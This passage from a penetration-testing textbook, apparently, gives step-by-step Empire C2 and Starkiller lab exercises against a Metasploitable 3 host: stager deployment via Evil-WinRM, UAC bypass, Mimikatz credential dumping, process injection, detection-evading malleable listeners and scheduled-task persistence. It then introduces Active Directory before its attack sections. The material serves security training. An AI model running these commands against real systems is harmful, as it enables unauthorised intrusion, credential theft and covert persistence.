Empire-Server:
host: http://172.30.1.50
port: 1337
socketport: 5000
username: empireadmin
password: password123

12. Change the host address to match the IP address of the eth1 interface on the main Kali Linux 
machine that is running the Empire server. The following screenshot shows the code is inserted 
beneath the last entry within the Server list:

Figure 11.10: Empire configuration

13. Press CTRL + X, then Y, and hit Enter to save the contents of the config.yaml file. This config.
yaml file allows penetration testers to add additional Empire servers to create a list that can 
be used in various penetration testing exercises.

14. Next, on the Empire Client (clone) virtual machine, use the following commands to start the 
MariaDB services and Empire client:

kali@kali:~$ sudo systemctl start mariadb.service
kali@kali:~$ sudo powershell-empire client

15. Next, to establish a connection to the Empire server, use the following commands while spec-
ifying the name of the Empire server from the config.yaml file:

(Empire) > connect -c Empire-Server
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16. The Empire client enables penetration testers to specify the custom name of an Empire server, 
as shown below:

Figure 11.11: Selecting Empire-Server

17. While you are typing commands within the command-line interface of Empire, it will provide 
you with preloaded commands and syntax to ensure your commands are spelled correctly and 
to improve your efficiency.

18. Once the Empire client successfully connects to the Empire server, the following screen will 
appear:

Figure 11.12: Verifying connection

19. Use the exit command within Empire to terminate the session.
20. If you choose not to set up a remote Empire server, a single Kali Linux machine can be used as 

both an Empire server and client; simply repeat step 8 and step 9 only on the same Kali Linux 
machine with separate Terminal windows.

Next, you will learn how to manage multiple users on the Empire server.
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Part 2 – Managing users on Empire
Empire allows multiple penetration testers of the same team to connect to the same Empire server and 
work together during the post-exploitation phase of a penetration test. The Empire server provides 
user management options within its framework. For this exercise, you can use a single Kali Linux 
machine that runs both the Empire server and the client.

To get started with this exercise, please use the following instructions:

1. Log in to your main Kali Linux machine, open Terminal, and start the Empire server:

kali@kali:~$ sudo systemctl start mariadb.service
kali@kali:~$ sudo powershell-empire server

2. After the Empire server has successfully started, open another Terminal window and start 
the Empire client:

kali@kali:~$ sudo powershell-empire client

3. The following screenshot shows the Empire client has automatically established a session on 
the local Empire server:

Figure 11.13: Connecting to localhost

4. On the Empire client console, execute the following commands to access the administrative 
menu and view the list of current user accounts:
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(Empire) > admin
(Empire: admin) > user_list

5. As shown in the following screenshot, there is only one user account, the default Empire user 
account:

Figure 11.14: Viewing users

6. To create a new user on the Empire server, use the create_user command with the username 
as NewUser1 and the password as Password123, followed by the authoritative user (admin) for 
creating the account:

(Empire: admin) > create_user NewUser1 Password123 Password123 admin
(Empire: admin) > user_list

7. As shown in the following screenshot, the new user account is created, and it’s automatically 
enabled:

Figure 11.15: Creating a new user account
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8. To disable a user account, use the disable_user <user-ID> command:

(Empire: admin) > disable_user 1001
(Empire: admin) > user_list

9. As shown in the following screenshot, the NewUser1 account is disabled:

Figure 11.16: Disabling a user account

10. To view a list of available commands/options under a context menu, use the help command.
11. Using the back command will return you to the previous menu and the main command will 

carry you to the main menu within Empire.

Having completed this section, you have learned how to set up Empire using the client-server model 
and manage user accounts. In the next section, you will learn how to perform post-exploitation tech-
niques using Empire as a C2 framework.

Post-exploitation using Empire
In this section, you will learn how to set up Empire to perform post-exploitation techniques on a com-
promised host on a network. Additionally, you will learn how to establish C2 connections between an 
agent on the compromised host and the Empire server.

To get started with performing post-exploitation using Empire, multiple Terminals will be used during 
this exercise, please use the following instructions:

1. Power on both your main Kali Linux and Metasploitable 3 (Windows-based) virtual machines.
2. On Kali Linux, open the Terminal (#1) and use the following commands to start the MariaDB 

service and the Empire server:

kali@kali:~$ sudo systemctl start mariadb.service
kali@kali:~$ sudo powershell-empire server

3. Once the Empire server is running, open a new Terminal (#2) and use the following commands 
to connect the Empire client to the local Empire server:

kali@kali:~$ sudo powershell-empire client
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4. Any commands entered on the Empire client will be relayed to the Empire server, which will 
execute the tasks and provide the result back to the Empire client. Keep in mind that some 
tasks may take longer to execute on the Empire server than others; this will usually create a 
delay in response from the Empire server to the client.

5. However, you do not need to wait for a task to complete on the Empire server before executing 
another. Each response from the server to the client will contain an indication informing the 
penetration tester about the user and task for a specific response.

In this section, you will learn how to use Empire to perform post-exploitation and C2 operations on 
a network.

Part 1 – Creating a listener
A listener is a module within the Empire server that listens for an incoming connection from an agent 
running on a compromised host. Without a listener on the Empire server, you won’t be able to send 
instructions to the agents that are running on the compromised systems:

1. On the Empire client console, use the following commands to enter the settings of the HTTP 
listener:

(Empire) > uselistener http

2. To change the default name of the listener, use the set Name command:

(Empire: uselistener/http) > set Name DC_Listener

3. Changing the name of your listener to something that indicates its purpose and function will 
be useful during your penetration tests.

4. Next, you will need to configure the callback host settings. This is the IP address on the eth1 
interface of your Kali Linux machine on the PentestNet (172.30.1.0/24) network that is 
running the Empire server:

(Empire: uselistener/http) > set Host 172.30.1.50

5. You can also change the default port for the listener by using the set Port command:

(Empire: uselistener/http) > set Port 1335

Notice that after you type the uselistener command on the Empire client, the 
user interface preloads a list of several types of listeners. Additionally, use the 
options and help commands to view the available commands when working 
with Empire modules.
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6. The following screenshot shows the execution of the preceding commands:

Figure 11.17: Creating a listener

7. Next, type the options commands to verify all the required parameters are configured:

(Empire: uselistener/http) > options

8. Next, use the execute command to activate the listener:

(Empire: uselistener/http) > execute

9. The following screenshot shows the newly created listener has started:

Figure 11.18: Starting a listener

10. Next, use the back command a few times to return to the main menu:

(Empire: uselistener/http) > back
(Empire: listeners) > back

11. Lastly, use the listeners command to view all enabled and disabled listeners on the Empire 
server:

(Empire) > listeners

12. The following shows DC_Listener, which is using the http module and is currently enabled:

Figure 11.19: Checking listener status



Chapter 11 443

Now the listener is set up and waiting for an incoming connection, next you will learn how to create 
a stager using Empire.

Part 2 – Creating a stager
A stager is a module within Empire that allows penetration testers to execute the agent (payload) on 
the targeted system. When an agent is executed on a compromised host, it will attempt to establish a 
connection back to the listener on the Empire server running on Kali Linux. This allows the penetration 
tester to perform post-exploitation tasks on any active agents:

1. On the Empire client console, let’s create a multi-launcher stager by using the following com-
mand:

(Empire) > usestager multi_launcher

2. Next, set the listener option to DC_Listener:

(Empire: usestager/multi_launcher) > set Listener DC_Listener

3. Next, to generate the stager malicious code, use the generate command:

(Empire: usestager/multi_launcher) > generate

4. Next, copy all the PowerShell code from the generated output:

Figure 11.20: Generating agent payload

5. Next, open a new Terminal (#3) and use Evil-WinRM to establish a PowerShell session on the 
Metasploitable 3 (Windows-based) virtual machine (targeted system):

kali@kali:~$ evil-winrm -i 172.30.1.21 -u Administrator -p vagrant
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6. The screenshot shows Evil-WinRM established a PowerShell session on the targeted system:

Figure 11.21: Using Evil-WinRM

7. Next, on the Evil-WinRM console, paste the copied PowerShell code and hit Enter to execute 
it on the targeted system.

8. Once the code is executed, select the previous Terminal (#2) and you’ll notice a new agent just 
checked in to the Empire Server with a unique agent ID, as shown below:

Figure 11.22: Agent connection

Now an agent is active on a compromised host on the network, next you will learn how to interact 
with the agent to perform post-exploitation tasks.

Part 3 – Working with agents
Since we have an agent running on a compromised system, let’s look at the features and capabilities 
of working with an agent using Empire:

1. To view a list of agents within Empire, use the agents command:

(Empire: agents) > agents

2. As shown in the following screenshot, each agent is assigned an ID, a unique name, the lan-
guage used for creating the agent on the compromised host, the IP address of the compromised 
host, the user account for running the agent, and the listener that is associated to the agent:

Figure 11.23: Viewing active agents
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3. Sometimes, you will notice at the end of the agent’s name that there is an asterisk (*). This 
indicates the agent is running with elevated privileges on the compromised host. Elevated 
privileges enable you to perform administrative actions on a system, which is not permitted 
when using a standard user account.

4. To interact with an agent, use the interact <agent-name> command:

(Empire: agents) > interact K3YU2DLB
(Empire: K3YU2DLB) > help

5. As shown in the following screenshot, the help menu provides a list of commands (Name), 
their descriptions, and their usage of the commands that can be used on this active agent:

Figure 11.24: Interacting with an agent

6. Next, let’s use the info command to get details about the compromised host:

(Empire: K3YU2DLB) > info
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7. As shown in the following screenshot, the Empire server returned specific information about 
the host:

Figure 11.25: Retrieving information

8. Additionally, to determine whether the agent is running with elevated privileges on the com-
promised host, use the following command:

(Empire: K3YU2DLB) > display high_integrity

9. As shown in the following screenshot, the high_integrity value is True. This means the agent 
is running with elevated privileges:

Figure 11.26: Checking privileges

10. If the agent is not running with elevated privileges, you can use the bypassuac <listener> 
command to escalate the privileges:

(Empire: K3YU2DLB) > bypassuac DC_Listener
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11. The following screenshot shows the usage of the bypassuac command; however, the current 
agent is already running within an elevated context:

Figure 11.27: Elevated privileges

12. To remotely execute a command on the compromised host, use the shell <command> command:

(Empire: K3YU2DLB) > shell whoami
(Empire: K3YU2DLB) > shell ipconfig

13. As shown in the following screenshot, the user ID and IP address information was retrieved 
from the agent.

Figure 11.28: Performing actions
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14. Use the following command to launch Mimikatz on the compromised host to collect users 
and computer credentials:

(Empire: K3YU2DLB) > mimikatz

15. The following screenshot shows that Mimikatz executed various commands within the memory 
of the compromised host and retrieved users’ credentials:

Figure 11.29: Enabling Mimikatz
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16. If there are any logged-on users on the targeted system, such as the Administrator, the password 
hashes and plaintext passwords will be retrieved, as shown below:

Figure 11.30: Extracting sensitive information

If the mimikatz command does not work when first executed, run it again.
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17. Use the following command to view a table of gathered credentials:

(Empire: K3YU2DLB) > credentials

18. As shown in the following screenshot, the NTLM hashes are stored within the credentials 
database on the Empire server:

Figure 11.31: Viewing extracted credentials

Having completed this section, you have gained the fundamental skills for interacting with an agent. 
Next, you will learn how to spawn a new agent to expand your foothold on a compromised system 
using Empire.

Part 4 – Creating a new agent
During a penetration test, having multiple connections or reverse shells on compromised hosts will 
prove to be especially useful in the event one shell should unexpectedly be terminated. Using Empire, 
you can create multiple agents on the same compromised host using an existing agent, by using the 
following instructions:

1. Use the following command to interact with your existing agent and display a list of running 
processes:

(Empire: credentials) > interact K3YU2DLB
(Empire: K3YU2DLB) > ps

2. As shown in the following screenshot, the ps command displays a list of processes, their Pro-
cess IDs (PIDs), their process names, the architecture, the user privileges running the process, 
and the memory allocation:



Chapter 11 451

Figure 11.32: Viewing running processes

3. We can use the PID of a common, less-suspecting process, such as wsmprovhost, on the com-
promised host to spawn a new agent.

4. Next, use the psinject <Listener> <PID> command to create a new agent on the compro-
mised host:

(Empire: K3YU2DLB) > psinject DC_Listener 932

5. As shown in the following screenshot, a new agent is spawned on the host:

Figure 11.33: New agent checked in
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6. Next, use the agents command to view all agents on Empire:

Figure 11.34: Viewing all active agents

7. As shown in the preceding screenshot, the new agent has spawned. However, notice the new 
agent is created with elevated privileges because wsmprovhost was running using the local 
Administrator account. If the new agent is not running with elevated privileges, you won’t be 
able to perform administrative or high-privilege tasks on the compromised host. You will need 
to elevate the privileges of the new agent to do so.

8. To obtain an interactive shell using Empire on the compromised host, use the shell command:

(Empire: agents) > interact Z6V8GMSW
(Empire: Z6V8GMSW) > shell

9. As shown in the following screenshot, an interactive shell is obtained that allows you to execute 
commands on the remote host:

Figure 11.35: Performing remote commands
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10. Lastly, type exit to return to the Empire console, as shown below:

Figure 11.36: Exiting a Windows shell

Having completed this section, you have learned how to create a new agent on a compromised host. 
Next, you will learn how to improve your threat emulation during a penetration test.

Part 5 – Threat emulation
Threat emulation focuses on testing the cyber defenses of an organization and their capabilities to 
detect and prevent various techniques used by threat actors. Improving threat emulation using Empire 
during a penetration test engagement tests whether a targeted organization can detect unknown threats 
disguised in common network traffic such as Windows updates, Gmail, and Office 365 traffic types.

To get started with this exercise, you will learn how to create a listener that will emulate Windows 
update services to evade detection:

1. On your Empire client, use the http_malleable listener module:

(Empire: Z6V8GMSW) > uselistener http_malleable

2. Next, set the profile as windows-updates:

(Empire: uselistener/http_malleable) > set Profile windows-updates.
profile

3. Next, set the host as the IP address of your Kali Linux machine (Empire server), the listening 
port, the name of this new listener, and start it:

(Empire: uselistener/http_malleable) > set Host 172.30.1.50
(Empire: uselistener/http_malleable) > set Port 9443
(Empire: uselistener/http_malleable) > set Name ThreatEmulation
(Empire: uselistener/http_malleable) > execute
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4. The following screenshot shows the execution of the preceding commands:

Figure 11.37: Setting up threat emulation

5. Next, create a new stager to bind the newly created ThreatEmulation listener:

(Empire: uselistener/http_malleable) > usestager multi_launcher
(Empire: usestager/multi_launcher) > set Listener ThreatEmulation
(Empire: usestager/multi_launcher) > generate

6. The following screenshot shows the generation of PowerShell code for this new stager:

Figure 11.38: Generating payload

7. Next, copy the PowerShell code that was generated from the previous step for the newly cre-
ated stager.

8. Open a new Terminal (#3) on Kali Linux and use Evil-WinRM to establish a PowerShell session 
on the Metasploitable 3 (Windows-based) virtual machine (targeted system):

kali@kali:~$ evil-winrm -i 172.30.1.21 -u Administrator -p vagrant

Use the options command within a module to verify that all parameters are set.



Chapter 11 455

9. Next, on the Evil-WinRM console, paste the copied PowerShell code and hit Enter to execute 
it on the targeted system, as shown below:

Figure 11.39: Executing payload on target

10. Once the code is executed, select the previous Terminal (#2) and you’ll notice a new agent just 
checked in to the Empire server with a unique agent ID.

11. Next, use the agents command to view a list of all active agents:

(Empire: usestager/multi_launcher) > agents

Figure 11.40: Viewing active agents

12. Using the interact <agent-ID> command, you can interact with the newly created agent on 
the compromised system:

(Empire: agents) > interact 59ET2ZBA
(Empire: 59ET2ZBA) > sysinfo
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13. The following screenshot shows the execution of the preceding commands:

Figure 11.41: Retrieving system information

Next, you will learn how to set up persistence on a compromised system using Empire.

Part 6 – Setting up persistence
Establishing persistence on a compromised host will ensure you have access to the host at any time 
when it is online on the target network. It’s important to note that persistent access should be main-
tained on the compromised host even after the system reboots or security measures are applied. How-
ever, within Empire, there are few persistence modules that enable penetration testers to maintain 
access to their victim machines.

To get started with setting up persistence access, please use the following instructions:

1. Start by interacting with an active agent with elevated privileges and use the scheduled task 
persistence module:

(Empire: agents) > interact 59ET2ZBA
(Empire: 59ET2ZBA) > usemodule powershell_persistence_elevated_schtasks

2. Your agent ID will be different from the one shown in the preceding commands; be sure to 
use the agents command to verify your active agents and their IDs.

3. Next, configure the persistence agent to activate when the user logs on to the compromised host:

(Empire: usemodule/powershell_persistence_elevated_schtasks) > set 
OnLogon True

4. Configure the Listener option to use the ThreatEmulation listener and execute the module:

(Empire: usemodule/powershell_persistence_elevated_schtasks) > set 
Listener ThreatEmulation
(Empire: usemodule/powershell_persistence_elevated_schtasks) > execute

5. Once the module is executed, it will take some time for the Empire server to provide you with 
an output of the result and status. Once the module is executed successfully, the Empire server 
returns the following output:

When setting up persistence, please be mindful that the persistence modules may create 
intentional backdoors on the compromised systems, which may allow other threat actors 
to gain access. Persistence should only be used during a penetration test if it is needed 
or within the scope of the engagement. If you set up persistence on compromised hosts 
during your penetration test, be sure to remove it at the end of your penetration test to 
prevent unauthorized access by other threat actors.
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Figure 11.42: Setting up persistence

Having completed this section, you have learned the fundamentals of using Empire to perform post-ex-
ploitation and C2 operations on a compromised host on a network. In the next section, you will learn 
how to use the graphical user interface of Empire 5, Starkiller.

Working with Starkiller
Starkiller is the graphical user interface created to allow multiple penetration testers to connect and 
control the Empire server. Similar to working with the Empire client, which provides command-line 
access, using Starkiller provides a graphical interface that helps penetration testers to work more 
efficiently.

The following diagram shows a typical deployment of Starkiller and the Empire server:

Figure 11.43: Starkiller client-server model

During this exercise, we will be using the main Kali Linux virtual machine that will be running the 
Empire server with Starkiller. The targeted system will be Metasploitable 3 (Windows-based) on the 
PentestNet (172.30.1.0/24) topology, as it was already set up as one of the targeted systems within 
our lab environment.
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Part 1 – Starkiller
To get started with this exercise, please use the following instructions:

1. Power on both the main Kali Linux and Metasploitable 3 (Windows-based) virtual machines.
2. On Kali Linux, open a Terminal (#1) and use the following commands to start the MariaDB 

service and Empire server:

kali@kali:~$ sudo systemctl start mariadb.service
kali@kali:~$ sudo powershell-empire server

3. Once the Empire server has started, open the web browser and go to http://localhost:1337/
index.html#/ to access the Starkiller web interface. On the logon window of Starkiller, use the 
default username, empireadmin, and password, password123, as shown below:

Figure 11.44: Starkiller login page

By default, Starkiller will set the server URL to localhost. If you are connecting to a remote Empire 
server, you will need to modify the IP address within the URL field and the user credentials.

http://localhost:1337/index.html#/
http://localhost:1337/index.html#/


Chapter 11 459

Part 2 – User management
Understanding how to manage multiple users within the Starkiller user interface will be essential 
when managing a team of penetration testers who are all working with the same Empire server.

1. To manage the user accounts on the Empire server, click on Users, as shown below:

Figure 11.45: Starkiller side menu

2. You can enable and disable user accounts by simply adjusting the switch option under Actions 
for a specific user, as shown below:

Figure 11.46: Starkiller users
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3. On the main Users menu, to create a new user account, click on Create:

Figure 11.47: User creation page

4. As shown in the preceding screenshot, Starkiller provides the fields that are needed to create 
a new account on the Empire server. Once you have filled in the necessary fields, click on the 
Submit button. To enable the administrative privileges on the new account, toggle the Admin 
button.

Part 3 – Working with modules
To view a list of modules, using the Starkiller menu, click on the Modules icon on the left menu list 
as shown below:

Figure 11.48: Listing modules in Starkiller
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Selecting a module will provide additional details about the module, such as the parameters required 
to use the module, each parameter description, and even the associated MITRE ATT&CK reference 
code to better understand the TTP.

Part 4 – Creating listeners
Next, you will learn how to use Starkiller to create listeners:

1. To create a listener using the Starkiller menu, click on Listeners and then on CREATE:

Figure 11.49: Listeners

2. As shown in the preceding screenshot, there are multiple active listeners running on the 
Empire server.

3. Next, using the drop-down menu, select the http listener entry and click on SUBMIT:

Figure 11.50: Selecting a listener type
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4. In the New Listener window, the parameters are automatically populated; however, ensure 
the Host address matches the IP address of your Kali Linux (Empire server) machine and that 
the Port number is not being used by another listener. Once everything is set, click SUBMIT 
to start the listener:

Figure 11.51: Setting up a listener

5. You can click on the Listener page to view a list of all listeners on the Empire server:

Figure 11.52: Viewing active listeners

6. As shown in the preceding screenshot, the newly created listener is active.
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Part 5 – Creating stagers
Next, use the following instructions to create stagers using Starkiller:

1. To create a stager using the Starkiller menu, click on Stagers and click CREATE, as shown below:

Figure 11.53: Viewing stagers

2. In the New Stager window, using the drop-down menu, select multi_launcher and click on 
SUBMIT:

Figure 11.54: Stager types
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3. After selecting the type of stager, the parameters are automatically populated; once everything 
is set, click SUBMIT to generate the new stager:

Figure 11.55: Creating a stager

4. Next, on the Stagers main menu, click the three dots under Actions and click Copy to Clipboard 
to copy the PowerShell code onto your clipboard:

After selecting the stager, if there are multiple listeners on Empire, ensure you 
use the drop-down Listener menu to select the right one.



Chapter 11 465

Figure 11.56: Copying the stager code

5. This feature provides convenience to penetration testers, allowing you to simply copy the stager 
code and paste it into a PowerShell terminal on a compromised system.

6. Additionally, if a stager creates a file such as a batch file or a Dynamic Link Library (DLL) file, 
you will be provided the option to download the stager file, as shown:

Figure 11.57: Downloading the stager file
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7. Next, once you have copied the stager code into the clipboard, open a new Terminal (#3) and 
use Evil-WinRM to establish a PowerShell console on the targeted system, the Metasploitable 
3 (Windows-based) virtual machine:

kali@kali:~$ evil-winrm -i 172.30.1.21 -u Administrator -p vagrant

8. Once the PowerShell console is established, paste in the PowerShell code and hit Enter to 
execute it on the target, as shown below:

Figure 11.58: Executing payload on target

9. Upon executing the stager’s code, a new agent will spawn on the compromised system.

Part 6 – Interacting with agents
Here, you will learn how to interact with agents using Starkiller:

1. To view a list of agents using Starkiller, click on the Agents tab:
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Figure 11.59: Viewing active agents

2. As shown in the preceding screenshot, the new agent is running on the compromised host.
3. To access the INTERACT menu, click on the agent name and INTERACT. You can select a 

module from the drop-down menu and click on SUBMIT to execute it:

Figure 11.60: Interacting with an agent
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4. As the module is launching, you can click on TASKS to view the results, as shown:

Figure 11.61: Viewing tasks



Chapter 11 469

5. Select the VIEW tab to display all the system information about the compromised host:

Figure 11.62: System information from the target
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6. Click on FILE BROWSER to access the file system of the compromised host:

Figure 11.63: File browser

As you have seen, Starkiller provides a user interface that simplifies how a penetration tester performs 
various tasks compared to using the command-line interface.

Part 7 – Credentials and reporting
If you execute any modules that gather the user and computer credentials, the Empire server will store 
them for later use. Additionally, all tasks performed by any penetration tester who is using the same 
Empire server are logged to help with generating reports during a penetration test:
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1. To view all the credentials collected, using the Starkiller menu, click on the Credentials menu 
page:

Figure 11.64: Credentials list

2. Next, create a report on the Empire server. Click on Plugins > basic_reporting, as shown below:

Figure 11.65: Reporting module
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3. Next, on the report drop-down menu, select the type of report you want and click on SUBMIT, 
as shown below:

Figure 11.66: Report type

4. Next, to download the report, click on TASKS and select the 3-dots options, as shown below:

Figure 11.67: Downloading a report

5. The reporting features play an important role during a penetration test as it helps you collect 
all the results for each task executed per user. You also have the option to sort the results based 
on the user, event type, and even the timestamp.
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Having completed this section, you have learned how to use Starkiller with the Empire server to per-
form post-exploitation and C2 operations.

Summary
In this chapter, you learned how threat actors use C2 operations to maintain and control multiple com-
promised hosts simultaneously. Furthermore, you have discovered how cybersecurity professionals 
such as penetration testers and even red teaming professionals can use C2 operations to improve their 
security testing and emulate real-world cyber-attacks on their target’s network.

You have gained the skills to set up Empire 5 using Kali Linux and have learned how to perform 
post-exploitation tasks on a compromised system. Additionally, you have discovered how to work with 
Starkiller as a graphical interface for Empire 5 to simplify many tasks on the Empire server.

I trust that the knowledge presented in this chapter has provided you with valuable insights, sup-
porting your path toward becoming an ethical hacker and penetration tester in the dynamic field 
of cybersecurity. May this newfound understanding empower you on your journey, allowing you to 
navigate the industry with confidence and make a significant impact. In the next chapter, Working 
with Active Directory Attacks, you will learn how to efficiently gather, enumerate, and exploit an Active 
Directory infrastructure.

Further reading
• Empire documentation – https://bc-security.gitbook.io/empire-wiki/
• Evil-WinRM documentation – https://github.com/Hackplayers/evil-winrm
• Mimikatz – https://github.com/gentilkiwi/mimikatz

Join our community on Discord
Join our community’s Discord space for discussions with the author and other readers:

https://packt.link/SecNet

https://bc-security.gitbook.io/empire-wiki/
https://github.com/Hackplayers/evil-winrm
https://github.com/gentilkiwi/mimikatz
https://packt.link/SecNet
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Working with Active Directory 
Attacks

As more users and devices are connected to an organization’s network, the need to implement central-
ized management arises. Imagine having to configure a new user account on each computer within 
your company each time a new employee is hired, or having to manually configure policies on each 
device to ensure users are restricted from performing administrative actions. Microsoft Windows Server 
allows IT professionals to install and configure the role of Active Directory Domain Services (AD DS), 
enabling IT professionals to centrally manage users, groups, policies, and devices within the domain.

In this chapter, you will gain an understanding of the role, function, and components of Active Di-
rectory within an organization. You will learn how to use various tools and techniques to enumerate 
sensitive information from a Windows domain that can be used to understand the attack path to 
compromise the domain and the domain controller. Finally, you will discover how to abuse the trust 
between domain clients and the domain controller through network protocols.

In this chapter, we will cover the following topics:

• Understanding Active Directory
• Enumerating Active Directory
• Leveraging network-based trust

Let’s dive in!

Technical requirements
To follow along with the exercises in this chapter, please ensure that you have met the following 
hardware and software requirements:

• Kali Linux: https://www.kali.org/get-kali/
• Windows Server 2019: https://www.microsoft.com/en-us/evalcenter/evaluate-windows-

server-2019

https://www.kali.org/get-kali/
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2019 
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2019 
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• Windows 10 Enterprise: https://www.microsoft.com/en-us/evalcenter/evaluate-windows-
10-enterprise

Understanding Active Directory
As an organization grows by increasing the number of employees needed to support its daily business 
functions, the number of devices connected to the organization’s network increases as well. When 
an organization is small, there are very few users and computers on the network, and having a dedi-
cated IT team is not always needed. Most importantly, since a small company has very few users, IT 
professionals can easily create a local user account on each system per employee. However, as the 
number of users and devices increases to make a medium-sized or large organization, creating local 
accounts for each user per device is not efficient.

For instance, imagine you need to change a user’s password on their user account and there are over 
100 devices in the network – this can be very challenging. Within Microsoft Windows Server, you will 
find many roles and features that can be installed and configured to help IT professionals provide 
many services and resources to everyone on a network. One such service within Microsoft Windows 
Server is known as Active Directory. This is a directory service that helps IT professionals centrally 
manage the users, groups, devices, and policies within the organization.

A Windows server with Active Directory installed and configured is commonly referred to as a domain 
controller, because it allows IT professionals to centrally control everything within the Windows 
domain environment. This means that rather than creating a user account on each computer on the 
network, Active Directory allows you to create the user account on the domain controller, assign 
users to security groups, and even create a Group Policy Object (GPO) to assign security policies to 
users and groups within the domain. The domain controller, then, is the central authority for net-
work management. Not only does this simplify management, but it also provides for redundancy and 
disaster recovery.

With Active Directory running on the network, devices will need to join the Windows domain that is 
managed by a domain controller. This allows individuals to log in to devices on the domain using their 
domain user account rather than a local user account stored on an isolated computer.

Active Directory allows the following centralized management and security functions to be used:

• Management of user profiles on clients and servers on the domain.
• Management of network information and configurations.
• Centralized management of security policies for users, groups, and devices on the domain.
• Clients’ registry configurations and policies.

Active Directory stores information about objects on the network and makes this informa-
tion easy for administrators and users to find and use. Active Directory uses a domain to 
manage a forest of domains, providing scalable, secure, and manageable infrastructure 
for user and resource management.

https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise
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When setting up Active Directory on Microsoft Windows Server, you will need to create a forest that 
defines the logical security boundary for managing the users, groups, and devices of an organization. 
Within a forest, there can be many domains. A domain is a collection of Organizational Units (OUs) 
used to organize objects. A forest in Active Directory is essentially a collection of one or more do-
mains that share a common configuration, schema, and global catalog. The term forest is commonly 
used to represent the highest level of an organization within Active Directory. It also defines both the 
administrative and security boundaries of an entire directory infrastructure.

The following diagram shows the structure within a domain:

Figure 12.1: Domain structure

The following are the default supported objects that can be placed within an OU on Active Directory:

• Users
• Computers
• Groups
• Computers
• OUs
• Printers
• Shared folders

An OU is like creating a folder on your computer and placing items (objects) that share a common 
factor, such as user accounts of people who work within the same department of an organization, or 
users with similar administrative privileges, such as those in the leadership team. This allows you to 
easily organize your objects within Active Directory.

A group allows you to assign user accounts to a group for easier security management, which means 
you can create a security policy using a GPO and assign that GPO to the group. Therefore, all users 
who are members of the group will be affected by the GPO. This is usually for creating and assigning 
security restrictions to users of a particular department or section within the organization.
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A tree is when there are multiple domains within the same forest in Active Directory. Trees help do-
main administrators create logical security boundaries between each domain within the same forest.

The following diagram shows the structure of a forest with multiple domains:

Figure 12.2: Forest structure

Multiple domains can exist within a single forest or multiple forests, which means that IT professionals 
can configure various types of trust within Active Directory. Implementing a trust model allows users 
from one domain or forest to access resources in another domain or forest. The concept of trust is 
especially important for large enterprise organizations.

The following are the various types of trust models within Active Directory:

• One-way trust: This type of trust is the simplest as it allows users from one trusted domain 
to access the resources located within another trusting domain but not the other way around. 
Imagine that users within Domain_A can access the resources within Domain_B, but users 
within Domain_B cannot access the resources within Domain_A.

• Two-way trust: When using this trust model, users in both trusting and trusted domains can 
access resources within each other’s domain, so users within Domain_A can access the re-
sources within Domain_B and vice versa.

• Transitive trust: With transitive trust, trust can be extended from one domain to another do-
main within the same forest. So, transitive trust can be extended from Domain_A to Domain_B, 
to Domain_C, and so on. By default, transitive trust between domains of the same forest is the 
same as two-way trust.

• Non-transitive trust: This type of trust does not extend to other domains within the same forest, 
but it can be either two-way trust or one-way trust. Remember that non-transitive trust is the 
default model between two different domains located in different forests, where the forests 
do not have a trust relationship.

• Forest trust: This type of trust is created between the forest root domain between different 
forests and can be either one-way trust or two-way trust, with transitive or non-transitive trust.
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For penetration testers and ethical hackers, it is important to understand the domain login process. 
When a user attempts to log in to the domain, the following process occurs:

1. The host sends the user’s domain username and the New Technology LAN Manager (NTLM) 
version 2 hash of the user’s password to the domain controller during the authentication pro-
cess to validate the identity of the user (remember our pass-the-hash attacks?).

2. The domain controller determines whether the user credentials are valid.
3. The domain controller responds to the host, by defining the security policies to apply to the 

user (network authentication). This means that a user with a valid domain user account can log 
in to any permitted device on the network, so long as the security policy permits that action.

When a local user account is created on a Windows 10/11 operating system, the user’s credentials are 
stored within the Security Account Manager (SAM) file located in the local machine’s C:\Windows\
System32\config directory. The username is stored in plaintext while the password is converted into 
an NTLM version 1 hash stored in the SAM file.

However, when a user is attempting to authenticate on a host within a domain, the host sends the 
domain username and NTLM version 2 password hash to the domain controller using the Lightweight 
Directory Access Protocol (LDAP) by default (an unsecure directory protocol used to perform queries 
on a directory server such as a domain controller over a network). You will learn how to exploit the 
trust between domain clients and the domain controller that uses LDAP later in this chapter.

In this chapter, you will learn how to abuse Active Directory trust relationships to compromise a Win-
dows domain without exploiting any security vulnerabilities within the Windows operating system.

Having completed this section, you now understand the importance of Active Directory and why many 
organizations use it to centrally manage their users and devices. As an aspiring penetration tester, you 
will often encounter organizations using Active Directory, and so it is important to understand how 
to exploit their trust. In the next section, you will learn how to enumerate sensitive information from 
an Active Directory domain.

Enumerating Active Directory
Enumerating will allow you to gather sensitive information about all the objects, users, devices, and 
policies within the entire Active Directory domain. Such information will provide you with insights 
into how the organization uses Active Directory to manage its domain. You will also be able to gain 
a clear idea of how to exploit the trust between domain clients, users, and the domain controller to 
compromise an organization’s Active Directory domain.

To learn more about Active Directory, please visit https://learn.microsoft.com/en-us/
windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-
domain-services-overview. 

https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview
https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview
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Furthermore, the enumeration of Active Directory provides penetration testers with insights and 
understanding of the structure, permissions, and policies in place, which are critical for both security 
assessments and malicious threat actors.

To recap, in Chapter 3, Setting Up for Advanced Penetration Testing Techniques, you learned how to assem-
ble our Redteamlab which we will use in this chapter to help understand and exploit an Active Direc-
tory domain. The following diagram shows the topology that we’ll be using throughout this chapter:

Figure 12.3: Redteamlab topology

As shown in the preceding diagram, Kali Linux is the attacker machine that is connected to the Red-
teamlab, which will simulate a corporate network with clients running Windows 10 Enterprise; these 
are connected to a domain with Windows Server 2019 as their domain controller.

At the time of writing, the operating systems installed within the Redteamlab network enable a fully 
patched Microsoft Windows environment. We will not be exploiting the Windows operating system 
but leveraging the trust within Active Directory to compromise the domain.

Before proceeding, please ensure you adhere to the following guidelines to get the most value and 
experience from the exercises within this chapter:

• You will need to power on all four virtual machines within the Redteamlab network – that is, 
Kali Linux, Bob-PC, Alice-PC, and the Windows Server 2019 machines.

